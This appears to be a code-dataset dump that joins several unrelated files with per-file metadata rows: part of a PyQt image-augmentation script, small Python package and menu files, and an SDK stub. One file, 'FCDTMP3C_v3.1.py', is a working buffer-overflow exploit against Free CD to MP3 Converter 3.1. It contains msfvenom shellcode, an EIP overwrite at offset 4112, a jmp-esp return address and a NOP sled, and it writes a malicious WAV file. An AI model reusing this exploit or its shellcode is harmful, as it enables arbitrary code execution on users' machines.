cv2.imwrite(aug_path+"/rtd270_shrpnd_"+file,sharpen(rotate(resized,270,1))) cv2.imwrite(aug_path+"/rtd315_shrpnd_"+file,sharpen(rotate(resized,315,1))) cv2.imwrite(aug_path+"/rtd330_shrpnd_"+file,sharpen(rotate(resized,330,1))) if self.checkBox_5.isChecked(): cv2.imwrite(aug_path+"/flipxy_shrpnd_"+file,sharpen(flip(resized,-1))) cv2.imwrite(aug_path+"/flipx_shrpnd_"+file,sharpen(flip(resized,0))) cv2.imwrite(aug_path+"/flipy_shrpnd"+file,sharpen(flip(resized,1))) if self.checkBox_4.isChecked() and self.checkBox_2.isChecked(): cv2.imwrite(aug_path+"/binc_rtd90_shrpnd_"+file,sharpen(rotate(brightness_increase(resized,50),90,1))) cv2.imwrite(aug_path+"/binc_rtd45_shrpnd_"+file,sharpen(rotate(brightness_increase(resized,50),45,1))) cv2.imwrite(aug_path+"/binc_rtd30_shrpnd_"+file,sharpen(rotate(brightness_increase(resized,50),30,1))) cv2.imwrite(aug_path+"/binc_rtd270_shrpnd_"+file,sharpen(rotate(brightness_increase(resized,50),270,1))) cv2.imwrite(aug_path+"/binc_rtd315_shrpnd_"+file,sharpen(rotate(brightness_increase(resized,50),315,1))) cv2.imwrite(aug_path+"/binc_rtd330_shrpnd_"+file,sharpen(rotate(brightness_increase(resized,50),330,1))) if self.checkBox_4.isChecked() and self.checkBox_3.isChecked(): cv2.imwrite(aug_path+"/bdec_rtd90_shrpnd_"+file,sharpen(rotate(decrease_brightness(resized,50),90,1))) cv2.imwrite(aug_path+"/bdec_rtd45_shrpnd_"+file,sharpen(rotate(decrease_brightness(resized,50),45,1))) cv2.imwrite(aug_path+"/bdec_rtd30_shrpnd_"+file,sharpen(rotate(decrease_brightness(resized,50),30,1))) cv2.imwrite(aug_path+"/bdec_rtd270_shrpnd_"+file,sharpen(rotate(decrease_brightness(resized,50),270,1))) cv2.imwrite(aug_path+"/bdec_rtd315_shrpnd_"+file,sharpen(rotate(decrease_brightness(resized,50),315,1))) cv2.imwrite(aug_path+"/bdec_rtd330_shrpnd_"+file,sharpen(rotate(decrease_brightness(resized,50),330,1))) if self.checkBox_5.isChecked() and self.checkBox_2.isChecked(): cv2.imwrite(aug_path+"/binc_flipxy_shrpnd_"+file,sharpen(flip(brightness_increase(resized,50),-1))) cv2.imwrite(aug_path+"/binc_flipx_shrpnd_"+file,sharpen(flip(brightness_increase(resized,50),0))) cv2.imwrite(aug_path+"/binc_flipy_shrpnd_"+file,sharpen(flip(brightness_increase(resized,50),1))) if self.checkBox_5.isChecked() and self.checkBox_3.isChecked(): cv2.imwrite(aug_path+"/bdec_flipxy_shrpnd_"+file,sharpen(flip(decrease_brightness(resized,50),-1))) cv2.imwrite(aug_path+"/bdec_flipx_shrpnd_"+file,sharpen(flip(decrease_brightness(resized,50),0))) cv2.imwrite(aug_path+"/bdec_flipy_shrpnd_"+file,sharpen(flip(decrease_brightness(resized,50),1))) if self.checkBox_5.isChecked() and self.checkBox_4.isChecked(): cv2.imwrite(aug_path+"/rtd90_flipxy_shrpnd_"+file,sharpen(flip(rotate(resized,90,1),-1))) cv2.imwrite(aug_path+"/rtd45_flipxy_shrpnd_"+file,sharpen(flip(rotate(resized,45,1),-1))) cv2.imwrite(aug_path+"/rtd30_flipxy_shrpnd_"+file,sharpen(flip(rotate(resized,30,1),-1))) cv2.imwrite(aug_path+"/rtd270_flipxy_shrpnd_"+file,sharpen(flip(rotate(resized,270,1),-1))) cv2.imwrite(aug_path+"/rtd315_flipxy_shrpnd_"+file,sharpen(flip(rotate(resized,315,1),-1))) cv2.imwrite(aug_path+"/rtd330_flipxy_shrpnd_"+file,sharpen(flip(rotate(resized,330,1),-1))) cv2.imwrite(aug_path+"/rtd90_flipx_shrpnd_"+file,sharpen(flip(rotate(resized,90,1),0))) cv2.imwrite(aug_path+"/rtd45_flipx_shrpnd_"+file,sharpen(flip(rotate(resized,45,1),0))) cv2.imwrite(aug_path+"/rtd30_flipx_shrpnd_"+file,sharpen(flip(rotate(resized,30,1),0))) cv2.imwrite(aug_path+"/rtd270_flipx_shrpnd_"+file,sharpen(flip(rotate(resized,270,1),0))) cv2.imwrite(aug_path+"/rtd315_flipx_shrpnd_"+file,sharpen(flip(rotate(resized,315,1),0))) cv2.imwrite(aug_path+"/rtd330_flipx_shrpnd_"+file,sharpen(flip(rotate(resized,330,1),0))) cv2.imwrite(aug_path+"/rtd90_flipy_shrpnd_"+file,sharpen(flip(rotate(resized,90,1),1))) cv2.imwrite(aug_path+"/rtd45_flipy_shrpnd_"+file,sharpen(flip(rotate(resized,45,1),1))) cv2.imwrite(aug_path+"/rtd30_flipy_shrpnd_"+file,sharpen(flip(rotate(resized,30,1),1))) cv2.imwrite(aug_path+"/rtd270_flipy_shrpnd_"+file,sharpen(flip(rotate(resized,270,1),1))) cv2.imwrite(aug_path+"/rtd315_flipy_shrpnd_"+file,sharpen(flip(rotate(resized,315,1),1))) cv2.imwrite(aug_path+"/rtd330_flipy_shrpnd_"+file,sharpen(flip(rotate(resized,330,1),1))) if self.checkBox_7.isChecked(): cv2.imwrite(aug_path+"/shrdx_"+file,shear(resized,0)) cv2.imwrite(aug_path+"/shrdy_"+file,shear(resized,1)) if self.checkBox_2.isChecked(): cv2.imwrite(aug_path+"/binc_shrdx_"+file,shear(brightness_increase(resized,50),0)) cv2.imwrite(aug_path+"/binc_shrdy_"+file,shear(brightness_increase(resized,50),1)) if self.checkBox_3.isChecked(): cv2.imwrite(aug_path+"/bdec_shrdx_"+file,shear(decrease_brightness(resized,50),0)) cv2.imwrite(aug_path+"/bdec_shrdy_"+file,shear(decrease_brightness(resized,50),1)) if self.checkBox_4.isChecked(): cv2.imwrite(aug_path+"/rtd90_shrdx_"+file,shear(rotate(resized,90,1),0)) cv2.imwrite(aug_path+"/rtd45_shrdx_"+file,shear(rotate(resized,45,1),0)) cv2.imwrite(aug_path+"/rtd30_shrdx_"+file,shear(rotate(resized,30,1),0)) cv2.imwrite(aug_path+"/rtd270_shrdx_"+file,shear(rotate(resized,270,1),0)) cv2.imwrite(aug_path+"/rtd315_shrdx_"+file,shear(rotate(resized,315,1),0)) cv2.imwrite(aug_path+"/rtd330_shrdx_"+file,shear(rotate(resized,330,1),0)) cv2.imwrite(aug_path+"/rtd90_shrdy_"+file,shear(rotate(resized,90,1),1)) cv2.imwrite(aug_path+"/rtd45_shrdy_"+file,shear(rotate(resized,45,1),1)) cv2.imwrite(aug_path+"/rtd30_shrdy_"+file,shear(rotate(resized,30,1),1)) cv2.imwrite(aug_path+"/rtd270_shrdy_"+file,shear(rotate(resized,270,1),1)) cv2.imwrite(aug_path+"/rtd315_shrdy_"+file,shear(rotate(resized,315,1),1)) cv2.imwrite(aug_path+"/rtd330_shrdy_"+file,shear(rotate(resized,330,1),1)) if self.checkBox_5.isChecked(): cv2.imwrite(aug_path+"/flipxy_shrdx_"+file,shear(flip(resized,-1),0)) cv2.imwrite(aug_path+"/flipx_shrdx_"+file,shear(flip(resized,0),0)) cv2.imwrite(aug_path+"/flipy_shrdx"+file,shear(flip(resized,1),0)) cv2.imwrite(aug_path+"/flipxy_shrdy_"+file,shear(flip(resized,-1),1)) cv2.imwrite(aug_path+"/flipx_shrdy_"+file,shear(flip(resized,0),1)) cv2.imwrite(aug_path+"/flipy_shrdy"+file,shear(flip(resized,1),1)) if self.checkBox_6.isChecked(): cv2.imwrite(aug_path+"/shrpnd_shrdx"+file,shear(sharpen(resized),0)) cv2.imwrite(aug_path+"/shrpnd_shrdy"+file,shear(sharpen(resized),1)) if self.checkBox_4.isChecked() and self.checkBox_2.isChecked(): cv2.imwrite(aug_path+"/binc_rtd90_shrdx_"+file,shear(rotate(brightness_increase(resized,50),90,1),0)) cv2.imwrite(aug_path+"/binc_rtd45_shrdx_"+file,shear(rotate(brightness_increase(resized,50),45,1),0)) cv2.imwrite(aug_path+"/binc_rtd30_shrdx_"+file,shear(rotate(brightness_increase(resized,50),30,1),0)) cv2.imwrite(aug_path+"/binc_rtd270_shrdx_"+file,shear(rotate(brightness_increase(resized,50),270,1),0)) cv2.imwrite(aug_path+"/binc_rtd315_shrdx_"+file,shear(rotate(brightness_increase(resized,50),315,1),0)) cv2.imwrite(aug_path+"/binc_rtd330_shrdx_"+file,shear(rotate(brightness_increase(resized,50),330,1),0)) cv2.imwrite(aug_path+"/binc_rtd90_shrdy_"+file,shear(rotate(brightness_increase(resized,50),90,1),1)) cv2.imwrite(aug_path+"/binc_rtd45_shrdy_"+file,shear(rotate(brightness_increase(resized,50),45,1),1)) cv2.imwrite(aug_path+"/binc_rtd30_shrdy_"+file,shear(rotate(brightness_increase(resized,50),30,1),1)) cv2.imwrite(aug_path+"/binc_rtd270_shrdy_"+file,shear(rotate(brightness_increase(resized,50),270,1),1)) cv2.imwrite(aug_path+"/binc_rtd315_shrdy_"+file,shear(rotate(brightness_increase(resized,50),315,1),1)) cv2.imwrite(aug_path+"/binc_rtd330_shrdy_"+file,shear(rotate(brightness_increase(resized,50),330,1),1)) if self.checkBox_4.isChecked() and self.checkBox_3.isChecked(): cv2.imwrite(aug_path+"/bdec_rtd90_shrdx_"+file,shear(rotate(decrease_brightness(resized,50),90,1),0)) cv2.imwrite(aug_path+"/bdec_rtd45_shrdx_"+file,shear(rotate(decrease_brightness(resized,50),45,1),0)) cv2.imwrite(aug_path+"/bdec_rtd30_shrdx_"+file,shear(rotate(decrease_brightness(resized,50),30,1),0)) cv2.imwrite(aug_path+"/bdec_rtd270_shrdx_"+file,shear(rotate(decrease_brightness(resized,50),270,1),0)) cv2.imwrite(aug_path+"/bdec_rtd315_shrdx_"+file,shear(rotate(decrease_brightness(resized,50),315,1),0)) cv2.imwrite(aug_path+"/bdec_rtd330_shrdx_"+file,shear(rotate(decrease_brightness(resized,50),330,1),0)) cv2.imwrite(aug_path+"/bdec_rtd90_shrdy_"+file,shear(rotate(decrease_brightness(resized,50),90,1),1)) cv2.imwrite(aug_path+"/bdec_rtd45_shrdy_"+file,shear(rotate(decrease_brightness(resized,50),45,1),1)) cv2.imwrite(aug_path+"/bdec_rtd30_shrdy_"+file,shear(rotate(decrease_brightness(resized,50),30,1),1)) cv2.imwrite(aug_path+"/bdec_rtd270_shrdy_"+file,shear(rotate(decrease_brightness(resized,50),270,1),1)) cv2.imwrite(aug_path+"/bdec_rtd315_shrdy_"+file,shear(rotate(decrease_brightness(resized,50),315,1),1)) cv2.imwrite(aug_path+"/bdec_rtd330_shrdy_"+file,shear(rotate(decrease_brightness(resized,50),330,1),1)) if self.checkBox_5.isChecked() and self.checkBox_2.isChecked(): cv2.imwrite(aug_path+"/binc_flipxy_shrdx_"+file,shear(flip(brightness_increase(resized,50),-1),0)) cv2.imwrite(aug_path+"/binc_flipx_shrdx_"+file,shear(flip(brightness_increase(resized,50),0),0)) cv2.imwrite(aug_path+"/binc_flipy_shrdx_"+file,shear(flip(brightness_increase(resized,50),1),0)) cv2.imwrite(aug_path+"/binc_flipxy_shrdy_"+file,shear(flip(brightness_increase(resized,50),-1),1)) cv2.imwrite(aug_path+"/binc_flipx_shrdy_"+file,shear(flip(brightness_increase(resized,50),0),1)) cv2.imwrite(aug_path+"/binc_flipy_shrdy_"+file,shear(flip(brightness_increase(resized,50),1),1)) if self.checkBox_5.isChecked() and self.checkBox_3.isChecked(): cv2.imwrite(aug_path+"/bdec_flipxy_shrdx_"+file,shear(flip(decrease_brightness(resized,50),-1),0)) cv2.imwrite(aug_path+"/bdec_flipx_shrdx_"+file,shear(flip(decrease_brightness(resized,50),0),0)) cv2.imwrite(aug_path+"/bdec_flipy_shrdx_"+file,shear(flip(decrease_brightness(resized,50),1),0)) cv2.imwrite(aug_path+"/bdec_flipxy_shrdy_"+file,shear(flip(decrease_brightness(resized,50),-1),1)) cv2.imwrite(aug_path+"/bdec_flipx_shrdy_"+file,shear(flip(decrease_brightness(resized,50),0),1)) cv2.imwrite(aug_path+"/bdec_flipy_shrdy_"+file,shear(flip(decrease_brightness(resized,50),1),1)) if self.checkBox_5.isChecked() and self.checkBox_4.isChecked(): cv2.imwrite(aug_path+"/rtd90_flipxy_shrdx_"+file,shear(flip(rotate(resized,90,1),-1),0)) cv2.imwrite(aug_path+"/rtd45_flipxy_shrdx_"+file,shear(flip(rotate(resized,45,1),-1),0)) cv2.imwrite(aug_path+"/rtd30_flipxy_shrdx_"+file,shear(flip(rotate(resized,30,1),-1),0)) cv2.imwrite(aug_path+"/rtd270_flipxy_shrdx_"+file,shear(flip(rotate(resized,270,1),-1),0)) cv2.imwrite(aug_path+"/rtd315_flipxy_shrdx_"+file,shear(flip(rotate(resized,315,1),-1),0)) cv2.imwrite(aug_path+"/rtd330_flipxy_shrdx_"+file,shear(flip(rotate(resized,330,1),-1),0)) cv2.imwrite(aug_path+"/rtd90_flipx_shrdx_"+file,shear(flip(rotate(resized,90,1),0),0)) cv2.imwrite(aug_path+"/rtd45_flipx_shrdx_"+file,shear(flip(rotate(resized,45,1),0),0)) cv2.imwrite(aug_path+"/rtd30_flipx_shrdx_"+file,shear(flip(rotate(resized,30,1),0),0)) cv2.imwrite(aug_path+"/rtd270_flipx_shrdx_"+file,shear(flip(rotate(resized,270,1),0),0)) cv2.imwrite(aug_path+"/rtd315_flipx_shrdx_"+file,shear(flip(rotate(resized,315,1),0),0)) cv2.imwrite(aug_path+"/rtd330_flipx_shrdx_"+file,shear(flip(rotate(resized,330,1),0),0)) cv2.imwrite(aug_path+"/rtd90_flipy_shrdx_"+file,shear(flip(rotate(resized,90,1),1),0)) cv2.imwrite(aug_path+"/rtd45_flipy_shrdx_"+file,shear(flip(rotate(resized,45,1),1),0)) cv2.imwrite(aug_path+"/rtd30_flipy_shrdx_"+file,shear(flip(rotate(resized,30,1),1),0)) cv2.imwrite(aug_path+"/rtd270_flipy_shrdx_"+file,shear(flip(rotate(resized,270,1),1),0)) cv2.imwrite(aug_path+"/rtd315_flipy_shrdx_"+file,shear(flip(rotate(resized,315,1),1),0)) cv2.imwrite(aug_path+"/rtd330_flipy_shrdx_"+file,shear(flip(rotate(resized,330,1),1),0)) cv2.imwrite(aug_path+"/rtd90_flipxy_shrdy_"+file,shear(flip(rotate(resized,90,1),-1),1)) cv2.imwrite(aug_path+"/rtd45_flipxy_shrdy_"+file,shear(flip(rotate(resized,45,1),-1),1)) cv2.imwrite(aug_path+"/rtd30_flipxy_shrdy_"+file,shear(flip(rotate(resized,30,1),-1),1)) cv2.imwrite(aug_path+"/rtd270_flipxy_shrdy_"+file,shear(flip(rotate(resized,270,1),-1),1)) cv2.imwrite(aug_path+"/rtd315_flipxy_shrdy_"+file,shear(flip(rotate(resized,315,1),-1),1)) cv2.imwrite(aug_path+"/rtd330_flipxy_shrdy_"+file,shear(flip(rotate(resized,330,1),-1),1)) cv2.imwrite(aug_path+"/rtd90_flipx_shrdy_"+file,shear(flip(rotate(resized,90,1),0),1)) cv2.imwrite(aug_path+"/rtd45_flipx_shrdy_"+file,shear(flip(rotate(resized,45,1),0),1)) cv2.imwrite(aug_path+"/rtd30_flipx_shrdy_"+file,shear(flip(rotate(resized,30,1),0),1)) cv2.imwrite(aug_path+"/rtd270_flipx_shrdy_"+file,shear(flip(rotate(resized,270,1),0),1)) cv2.imwrite(aug_path+"/rtd315_flipx_shrdy_"+file,shear(flip(rotate(resized,315,1),0),1)) cv2.imwrite(aug_path+"/rtd330_flipx_shrdy_"+file,shear(flip(rotate(resized,330,1),0),1)) cv2.imwrite(aug_path+"/rtd90_flipy_shrdy_"+file,shear(flip(rotate(resized,90,1),1),1)) cv2.imwrite(aug_path+"/rtd45_flipy_shrdy_"+file,shear(flip(rotate(resized,45,1),1),1)) cv2.imwrite(aug_path+"/rtd30_flipy_shrdy_"+file,shear(flip(rotate(resized,30,1),1),1)) cv2.imwrite(aug_path+"/rtd270_flipy_shrdy_"+file,shear(flip(rotate(resized,270,1),1),1)) cv2.imwrite(aug_path+"/rtd315_flipy_shrdy_"+file,shear(flip(rotate(resized,315,1),1),1)) cv2.imwrite(aug_path+"/rtd330_flipy_shrdy_"+file,shear(flip(rotate(resized,330,1),1),1)) if self.progress.value!=0 and counter==0: i+=float(float(100)/float(len(files))) self.progress.setValue(i) print(counter,self.progress.value()) if 99==self.progress.value() and counter==0: self.progress.setValue(0) counter+=1 msg = QtWidgets.QMessageBox() msg.setIcon(QtWidgets.QMessageBox.Information) msg.setText("Information") msg.setInformativeText("Completed!") msg.setWindowTitle("Finished") msg.setDetailedText("Your process has been succesfully completed.") msg.setStandardButtons(QtWidgets.QMessageBox.Ok | QtWidgets.QMessageBox.Cancel) msg.exec_() elif 100<=self.progress.value() and counter==0: counter+=1 self.progress.setValue(0) msg = QtWidgets.QMessageBox() msg.setIcon(QtWidgets.QMessageBox.Information) msg.setText("Information") msg.setInformativeText("Completed!") msg.setWindowTitle("Finished") msg.setDetailedText("Your process has been succesfully completed.") msg.setStandardButtons(QtWidgets.QMessageBox.Ok | QtWidgets.QMessageBox.Cancel) msg.exec_() app = QtWidgets.QApplication(sys.argv) app.setStyle('Fusion') window = Ui() app.exec_()
61.34434
155
0.592413
4,718
39,015
4.669351
0.063374
0.074353
0.136314
0.178257
0.822197
0.779936
0.750749
0.723241
0.647118
0.594734
0
0.071112
0.271203
39,015
635
156
61.440945
0.703665
0.026656
0
0.130926
0
0
0.116097
0.010256
0
0
0
0
0
1
0.029345
false
0
0.020316
0
0.072235
0.002257
0
0
0
null
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
d03d3037d7aefec1ea3c61beae34ddc03afc8f23
98
py
Python
fakertype/__init__.py
yasirroni/faketype
3c99e95ec184f7870b1ea26a3fe339301b907687
[ "MIT" ]
null
null
null
fakertype/__init__.py
yasirroni/faketype
3c99e95ec184f7870b1ea26a3fe339301b907687
[ "MIT" ]
null
null
null
fakertype/__init__.py
yasirroni/faketype
3c99e95ec184f7870b1ea26a3fe339301b907687
[ "MIT" ]
null
null
null
from .version import __version__ from .core import FakerType from .generator import int_generator
24.5
36
0.846939
13
98
6
0.538462
0
0
0
0
0
0
0
0
0
0
0
0.122449
98
4
36
24.5
0.906977
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
d059ccc6ce088cd3e05215b9198d908fb6905ee3
334
py
Python
menu.py
tianlunjiang/_NukeStudio_v2
5ed9b9217aff16d903bdcda5c2f1e1cd3bebe367
[ "CNRI-Python" ]
6
2019-08-27T01:30:15.000Z
2020-11-17T00:40:01.000Z
menu.py
tianlunjiang/_NukeMods
47861bfc273262abba55b9f9a61782a5d89479b1
[ "CNRI-Python" ]
2
2019-01-22T04:09:28.000Z
2019-01-23T15:11:39.000Z
menu.py
tianlunjiang/_NukeMods
47861bfc273262abba55b9f9a61782a5d89479b1
[ "CNRI-Python" ]
1
2020-08-03T22:43:23.000Z
2020-08-03T22:43:23.000Z
''' menu.py for _NukeMods to used in a VFX Studio enviroment *for importing modules only ''' #------------------------------------------------------------------------------- #-Import Menus #------------------------------------------------------------------------------- from menu_items import * from menu_defaults import *
15.181818
80
0.368263
25
334
4.8
0.76
0.133333
0
0
0
0
0
0
0
0
0
0
0.116766
334
21
81
15.904762
0.40678
0.769461
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
d06f71e125de815838853ac5043c589ca2a587e2
163
py
Python
administration/serializers/__init__.py
SamusChief/myth-caster-api
76a43f48b70c6a4b509c90757d7906689799cc25
[ "MIT" ]
null
null
null
administration/serializers/__init__.py
SamusChief/myth-caster-api
76a43f48b70c6a4b509c90757d7906689799cc25
[ "MIT" ]
null
null
null
administration/serializers/__init__.py
SamusChief/myth-caster-api
76a43f48b70c6a4b509c90757d7906689799cc25
[ "MIT" ]
1
2021-08-14T18:46:52.000Z
2021-08-14T18:46:52.000Z
""" Serializers for the administration routes """ from .user import UserSerializer from .group import GroupSerializer from .permission import PermissionSerializer
32.6
49
0.828221
17
163
7.941176
0.764706
0
0
0
0
0
0
0
0
0
0
0
0.116564
163
4
50
40.75
0.9375
0.251534
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
d0a36d58725409bc1884274ecd03525515c85fc1
49
py
Python
tests/__init__.py
hootnot/virtual-yahoofinance-REST-API
3246d3f4c14821e4ef0f9de57dd759cf03f42681
[ "Apache-2.0" ]
1
2022-03-18T08:27:34.000Z
2022-03-18T08:27:34.000Z
tests/__init__.py
hootnot/virtual-yahoofinance-REST-API
3246d3f4c14821e4ef0f9de57dd759cf03f42681
[ "Apache-2.0" ]
null
null
null
tests/__init__.py
hootnot/virtual-yahoofinance-REST-API
3246d3f4c14821e4ef0f9de57dd759cf03f42681
[ "Apache-2.0" ]
1
2021-06-18T02:14:03.000Z
2021-06-18T02:14:03.000Z
"""Unit test package for virtual_finance_api."""
24.5
48
0.755102
7
49
5
1
0
0
0
0
0
0
0
0
0
0
0
0.102041
49
1
49
49
0.795455
0.857143
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
d0aef5dee9daaae44ea987408683ffd8b1bbd1df
3,438
py
Python
Buffer Overflow BOF Scripts/FCDTMP3C_v3.1.py
JAYMONSECURITY/JMSec-Blog-Resources
61bcab0cbfceab8d46c039f5a5165b8f9da6737f
[ "MIT" ]
2
2021-09-08T23:57:47.000Z
2022-02-15T09:58:36.000Z
Buffer Overflow BOF Scripts/FCDTMP3C_v3.1.py
JAYMONSECURITY/JMSec-Blog-Resources
61bcab0cbfceab8d46c039f5a5165b8f9da6737f
[ "MIT" ]
null
null
null
Buffer Overflow BOF Scripts/FCDTMP3C_v3.1.py
JAYMONSECURITY/JMSec-Blog-Resources
61bcab0cbfceab8d46c039f5a5165b8f9da6737f
[ "MIT" ]
2
2021-09-09T13:42:12.000Z
2022-02-15T23:39:02.000Z
#!/usr/share/python #-----------------------------------------------------------------------------------------------------------# # Software = Free CD to MP3 Converter 3.1 - Buffer Overflow # # Download Link = https://www.exploit-db.com/apps/b8d87f65406d8524d79742359b81dd4c-cdtomp3freeware.exe # # Date = 11/08/2017 # # Reference = https://www.exploit-db.com/exploits/15480/ # # Author = @ihack4falafel # # Tested on = Windows XP SP3 - Professional # # EIP Offset = 4112 # # Badchars = "\x00\x0A" # # RET Address = 0x7e429353 : "\xFF\xE4" | [user32.dll] # # Usage = File > WAV to WAV... > evil.wav # #-----------------------------------------------------------------------------------------------------------# import struct import time #--------------------------------------------------------------------------# # msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0A" -f python -v payload # #--------------------------------------------------------------------------# payload = "" payload += "\xbd\xf7\x87\xa8\x10\xda\xdd\xd9\x74\x24\xf4\x58" payload += "\x2b\xc9\xb1\x31\x31\x68\x13\x03\x68\x13\x83\xe8" payload += "\x0b\x65\x5d\xec\x1b\xe8\x9e\x0d\xdb\x8d\x17\xe8" payload += "\xea\x8d\x4c\x78\x5c\x3e\x06\x2c\x50\xb5\x4a\xc5" payload += "\xe3\xbb\x42\xea\x44\x71\xb5\xc5\x55\x2a\x85\x44" payload += "\xd5\x31\xda\xa6\xe4\xf9\x2f\xa6\x21\xe7\xc2\xfa" payload += "\xfa\x63\x70\xeb\x8f\x3e\x49\x80\xc3\xaf\xc9\x75" payload += "\x93\xce\xf8\x2b\xa8\x88\xda\xca\x7d\xa1\x52\xd5" payload += "\x62\x8c\x2d\x6e\x50\x7a\xac\xa6\xa9\x83\x03\x87" payload += "\x06\x76\x5d\xcf\xa0\x69\x28\x39\xd3\x14\x2b\xfe" payload += "\xae\xc2\xbe\xe5\x08\x80\x19\xc2\xa9\x45\xff\x81" payload += "\xa5\x22\x8b\xce\xa9\xb5\x58\x65\xd5\x3e\x5f\xaa" payload += "\x5c\x04\x44\x6e\x05\xde\xe5\x37\xe3\xb1\x1a\x27" payload += "\x4c\x6d\xbf\x23\x60\x7a\xb2\x69\xee\x7d\x40\x14" payload += "\x5c\x7d\x5a\x17\xf0\x16\x6b\x9c\x9f\x61\x74\x77" payload += "\xe4\x9e\x3e\xda\x4c\x37\xe7\x8e\xcd\x5a\x18\x65" payload += "\x11\x63\x9b\x8c\xe9\x90\x83\xe4\xec\xdd\x03\x14" payload += "\x9c\x4e\xe6\x1a\x33\x6e\x23\x79\xd2\xfc\xaf\x50" payload += "\x71\x85\x4a\xad" #----------------------------# # Buffer Structure # #----------------------------# # buffer = AAA...........AAA # # buffer = EIP - RET Address # # buffer = NOPSled # # buffer = payload # # buffer = BBB...........BBB # #----------------------------# buffer = "A" * 4112 buffer += struct.pack('<L', 0x7e429353) buffer += "\x90" * 40 buffer += payload buffer += "B" * (5000-4112-4-40-len(payload)) try: f=open("evil.wav","w") print "[+] Creating %s bytes evil payload.." %len(buffer) time.sleep(5) f.write(buffer) f.close() print "[+] File created! Go ahead and load that file." except: print "[-] File cannot be created"
49.826087
117
0.44619
396
3,438
3.873737
0.598485
0.01043
0.019557
0.022164
0.026076
0
0
0
0
0
0
0.143885
0.272251
3,438
68
118
50.558824
0.469225
0.518906
0
0
0
0.5
0.626168
0.538318
0
0
0.006231
0
0
0
null
null
0
0.055556
null
null
0.083333
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
1
1
1
null
0
0
0
0
1
0
0
0
0
0
0
0
0
5
d0bd951afcd55d573236f88e11459f365c404ecd
536
py
Python
api/src/converter/static/AudioSpeakConverterStatic.py
SamuelJansen/ai-voice-api
5752fb9b1287945c0b074687552b0fcb205ed27a
[ "MIT" ]
2
2022-02-07T12:22:13.000Z
2022-03-04T02:42:55.000Z
api/src/converter/static/AudioSpeakConverterStatic.py
SamuelJansen/voice-api
6e143e01ad3e06d4f836646f024d3ca06cb37efa
[ "MIT" ]
null
null
null
api/src/converter/static/AudioSpeakConverterStatic.py
SamuelJansen/voice-api
6e143e01ad3e06d4f836646f024d3ca06cb37efa
[ "MIT" ]
null
null
null
from converter.static import SpeakConverterStatic def fullAudioPathAndNameAndExtension(audioData) : return SpeakConverterStatic.fullAudioPathAndNameAndExtension(audioData) def getValidName(originalName): return SpeakConverterStatic.getValidName(originalName) def getDefaultValidName(dto): return SpeakConverterStatic.getDefaultValidName(dto) def toRequestDto(dto) : return SpeakConverterStatic.toRequestDto(dto) def getVoiceOrDefault(givenVoice: str): return SpeakConverterStatic.getVoiceOrDefault(givenVoice)
29.777778
75
0.841418
41
536
11
0.414634
0.288248
0.128603
0
0
0
0
0
0
0
0
0
0.098881
536
17
76
31.529412
0.933747
0
0
0
0
0
0
0
0
0
0
0
0
1
0.454545
false
0
0.090909
0.454545
1
0
0
0
1
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
5
d0e79bcb59b1129af410029611926a971edbbd29
440
py
Python
populus/config/__init__.py
mandarvaze/populus
4577bba67f6cba3c4800d250f2a228562a5d9a8f
[ "MIT" ]
2
2018-08-15T21:27:59.000Z
2018-08-21T17:56:12.000Z
populus/config/__init__.py
mandarvaze/populus
4577bba67f6cba3c4800d250f2a228562a5d9a8f
[ "MIT" ]
null
null
null
populus/config/__init__.py
mandarvaze/populus
4577bba67f6cba3c4800d250f2a228562a5d9a8f
[ "MIT" ]
1
2018-07-27T07:19:49.000Z
2018-07-27T07:19:49.000Z
from .base import ( # noqa: F401 Config, ) from .web3 import ( # noqa: F401 Web3Config, ) from .chain import ( # noqa: F401 ChainConfig, ) from .compiler import ( # noqa: F401 CompilerConfig, ) from .loading import ( # noqa: F401 load_config, write_config, ) from .defaults import ( # noqa: F401 load_default_config, ) from .validation import ( # noqa: F401 load_config_schema, validate_config, )
18.333333
39
0.654545
51
440
5.509804
0.392157
0.24911
0.348754
0.192171
0.170819
0
0
0
0
0
0
0.069277
0.245455
440
23
40
19.130435
0.777108
0.172727
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.304348
0
0.304348
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
d0ef596a3071d1fb0f1da4cdacd0aa3ef3b3b9c7
70,293
py
Python
sdk/python/pulumi_oci/devops/_inputs.py
EladGabay/pulumi-oci
6841e27d4a1a7e15c672306b769912efbfd3ba99
[ "ECL-2.0", "Apache-2.0" ]
5
2021-08-17T11:14:46.000Z
2021-12-31T02:07:03.000Z
sdk/python/pulumi_oci/devops/_inputs.py
pulumi-oci/pulumi-oci
6841e27d4a1a7e15c672306b769912efbfd3ba99
[ "ECL-2.0", "Apache-2.0" ]
1
2021-09-06T11:21:29.000Z
2021-09-06T11:21:29.000Z
sdk/python/pulumi_oci/devops/_inputs.py
pulumi-oci/pulumi-oci
6841e27d4a1a7e15c672306b769912efbfd3ba99
[ "ECL-2.0", "Apache-2.0" ]
2
2021-08-24T23:31:30.000Z
2022-01-02T19:26:54.000Z
